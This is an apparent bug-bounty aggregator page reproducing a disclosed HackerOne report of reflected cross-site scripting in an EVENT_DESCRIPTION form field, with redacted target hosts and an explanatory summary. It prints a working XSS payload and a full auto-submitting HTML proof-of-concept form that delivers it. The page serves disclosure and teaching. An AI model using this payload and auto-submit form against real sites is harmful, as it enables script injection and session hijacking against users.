Skip to content
XSS Disclosed report Beginner

Cross-Site Scripting via 'EVENT_DESCRIPTION' parameter

A POST parameter called EVENT_DESCRIPTION was reflected into a page without proper encoding, allowing an attacker to inject HTML and script that runs in a victim's browser. This could let an attacker steal cookies and hijack sessions.

jonasdiasrebelo Follow

Originally disclosed on HackerOne

  • Triaged in 19 hours
  • Fixed in 31 days
  • Disclosed after 5 months

Description:

I discovered a Cross-Site Scripting (XSS) vulnerability on █████ , specifically through the POST method. This vulnerability allows an attacker to inject malicious scripts that could be executed, potentially leading to cookie theft, session hijacking, and other malicious actions.

Vulnerable parameter: EVENT_DESCRIPTION Payload: </textarea><input></zzz><zzz><img/src/onerror=print``></zzz>

References

█████████

Impact

Exploitation of this vulnerability can lead to severe consequences, including but not limited: Session Hijacking: Attackers can steal cookies and impersonate legitimate users.

System Host(s)

████████

Affected Product(s) and Version(s)

CVE Numbers

Steps to Reproduce

Use this code in your own website to execute the XSS Method Post.

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
    <form action="█████" method="POST">
      <input type="hidden" name="EVENT&#95;DESCRIPTION" value="&lt;&#47;textarea&gt;&lt;input&gt;&lt;&#47;zzz&gt;&lt;zzz&gt;&lt;img&#47;src&#47;onerror&#61;print&#96;&#96;&gt;&lt;&#47;zzz&gt;" />
      <input type="hidden" name="YEARS&#95;OF&#95;EVENT" value="&lt;input&gt;" />
      <input type="hidden" name="EVENT&#95;WEB&#95;SITE" value="&lt;input&gt;" />
      <input type="hidden" name="ADMISSION&#95;FEE" value="&lt;input&gt;" />
      <input type="hidden" name="PARKING&#95;FEE" value="&lt;input&gt;" />
      <input type="hidden" name="SEATING&#95;FEE" value="&lt;input&gt;" />
      <input type="hidden" name="OTHER&#95;FEES" value="&lt;input&gt;" />
      <input type="hidden" name="EVENT&#95;FUND&#95;RAISER" value="1" />
      <input type="hidden" name="RAISED&#95;FUNDS&#95;USE" value="1" />
      <input type="hidden" name="RAISED&#95;FUNDS&#95;USE" value="4" />
      <input type="hidden" name="RAISED&#95;FUNDS&#95;DESC" value="&lt;input&gt;" />
      <input type="hidden" name="OPEN&#95;PUBLIC" value="1" />
      <input type="hidden" name="LOCAL&#95;GOV&#95;SUPPORT" value="0" />
      <input type="hidden" name="POST&#95;EVENT&#95;REPORT" value="1" />
      <input type="hidden" name="MEMBER&#95;WO&#95;DISCRIMINATION" value="0" />
      <input type="hidden" name="ATTENDANCE&#95;WO&#95;DISCRIMINATION" value="0" />
      <input type="hidden" name="pageNumber" value="6" />
      <input type="hidden" name="currentPage" value="5" />
      <input type="hidden" name="requestID" value="6AB066A5F23" />
      <input type="hidden" name="WIZARD&#95;CHECKBOXES" value="RAISED&#95;FUNDS&#95;USE" />
      <input type="hidden" name="button&#95;continue" value="Save&#32;&amp;&#32;Continue" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

In case the following appears:

█████

Click "Agree to consent" and try to run the XSS post again and will work.

Suggested Mitigation/Remediation Actions

Apply context-dependent encoding and/or validation to user input rendered on a page

The original report as published on HackerOne, by jonasdiasrebelo. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the application reflected the EVENT_DESCRIPTION POST parameter into an HTML context without context-aware output encoding or validation.

Impact

An attacker could steal cookies and impersonate legitimate users, though the report does not demonstrate a full end-to-end attack.

What the attacker needed

Victim submits or views the crafted POST request; attacker can host a page that auto-submits the form

How it was found

  1. Create a local HTML page containing a form that posts to the vulnerable endpoint.
  2. Set the EVENT_DESCRIPTION field to a value that closes the surrounding textarea and injects an image tag with an error handler.
  3. Submit the form so the browser sends the POST request to the target.
  4. If a consent prompt appears, click 'Agree to consent' and submit the form again.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

Cross-site scripting (XSS) happens when a website takes text you type and puts it into a page without cleaning it first. Here, a form field called EVENT_DESCRIPTION was placed into the page as raw HTML, so an attacker could include a tag that runs JavaScript. When another user views that page, their browser runs the attacker's script as if it came from the site.

What is XSS?

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.

More by jonasdiasrebelo

View all

27 more disclosed reports, best first.

More from U.S. Dept Of Defense

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Cross-site scripting (XSS)

The lesson behind this report.

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.